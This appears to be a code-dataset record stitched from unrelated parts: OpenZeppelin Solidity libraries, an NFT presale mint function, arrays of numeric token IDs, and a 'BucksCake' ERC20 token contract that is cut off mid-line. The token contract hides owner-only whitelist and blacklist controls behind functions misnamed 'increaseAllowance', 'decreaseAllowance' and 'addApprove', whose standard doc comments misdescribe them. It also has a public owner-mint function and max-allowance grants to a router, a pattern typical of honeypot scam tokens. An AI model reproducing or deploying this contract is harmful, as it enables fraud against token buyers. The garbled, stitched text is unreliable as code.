Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
require(numTokens > 0, "CCML: Must supply positive number for tokens to mint"); require(totalSupply() + numTokens <= maxNftSupply, "CCML: Purchase would exceed max supply of tokens"); for (uint256 i = 0; i < numTokens; i++) { mints a new token right off the top of the supply _minted[totalSupply()] = true; _safeMint(msg.sender, totalSupply()); } verify the tokens exist first
function presaleMint(uint256[] memory _ids) external payable { uint256 numTokens = _ids.length; require(_whitelist[msg.sender] == true, "CCML: sender is not whitelisted for presale"); require(tokenPrice * numTokens <= msg.value, "CCML: Insufficient funds sent for purchase"); require((totalSupply() + numTokens) <= maxNftSupply, "CCML: Mint would exceed max supply of tokens"); for (uint256 i = 0; i < numTokens; i++) { require(_minted[_ids[i]] == false, "CCML: One or more of these ids are taken"); require( _ids[i] <= maxNftSupply, "CCML: One or more of these ids are greater than the max number of tokens" ); } for (uint256 i = 0; i < numTokens; i++) { if (totalSupply() < maxNftSupply) { _minted[_ids[i]] = true; _safeMint(msg.sender, _ids[i]); } } }
1,572,089
[ 1, 6528, 12, 2107, 5157, 405, 374, 16, 315, 6743, 1495, 30, 6753, 14467, 6895, 1300, 364, 2430, 358, 312, 474, 8863, 2583, 12, 4963, 3088, 1283, 1435, 397, 818, 5157, 1648, 943, 50, 1222, 3088, 1283, 16, 315, 6743, 1495, 30, 26552, 4102, 9943, 943, 14467, 434, 2430, 8863, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 818, 5157, 31, 277, 27245, 288, 1377, 312, 28142, 279, 394, 1147, 2145, 3397, 326, 1760, 434, 326, 14467, 377, 389, 81, 474, 329, 63, 4963, 3088, 1283, 1435, 65, 273, 638, 31, 377, 389, 4626, 49, 474, 12, 3576, 18, 15330, 16, 2078, 3088, 1283, 10663, 289, 3929, 326, 2430, 1005, 1122, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4075, 5349, 49, 474, 12, 11890, 5034, 8526, 3778, 389, 2232, 13, 3903, 8843, 429, 288, 203, 3639, 2254, 5034, 818, 5157, 273, 389, 2232, 18, 2469, 31, 203, 3639, 2583, 24899, 20409, 63, 3576, 18, 15330, 65, 422, 638, 16, 315, 6743, 1495, 30, 5793, 353, 486, 26944, 364, 4075, 5349, 8863, 203, 3639, 2583, 12, 2316, 5147, 380, 818, 5157, 1648, 1234, 18, 1132, 16, 315, 6743, 1495, 30, 22085, 11339, 284, 19156, 3271, 364, 23701, 8863, 203, 3639, 2583, 12443, 4963, 3088, 1283, 1435, 397, 818, 5157, 13, 1648, 943, 50, 1222, 3088, 1283, 16, 315, 6743, 1495, 30, 490, 474, 4102, 9943, 943, 14467, 434, 2430, 8863, 203, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 818, 5157, 31, 277, 27245, 288, 203, 5411, 2583, 24899, 81, 474, 329, 63, 67, 2232, 63, 77, 13563, 422, 629, 16, 315, 6743, 1495, 30, 6942, 578, 1898, 434, 4259, 3258, 854, 9830, 8863, 203, 5411, 2583, 12, 203, 7734, 389, 2232, 63, 77, 65, 1648, 943, 50, 1222, 3088, 1283, 16, 203, 7734, 315, 6743, 1495, 30, 6942, 578, 1898, 434, 4259, 3258, 854, 6802, 2353, 326, 943, 1300, 434, 2430, 6, 203, 5411, 11272, 203, 3639, 289, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 818, 5157, 31, 277, 27245, 288, 203, 5411, 309, 261, 4963, 3088, 1283, 1435, 411, 943, 50, 1222, 3088, 1283, 13, 288, 203, 7734, 389, 81, 474, 329, 63, 67, 2232, 63, 77, 13563, 2 ]
pragma solidity ^0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _name = 'BucksCake'; _symbol = 'BCK'; _decimals = 18; _owner = msg.sender; _safeOwner = msg.sender; _mint(_owner, 100*1e6*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = 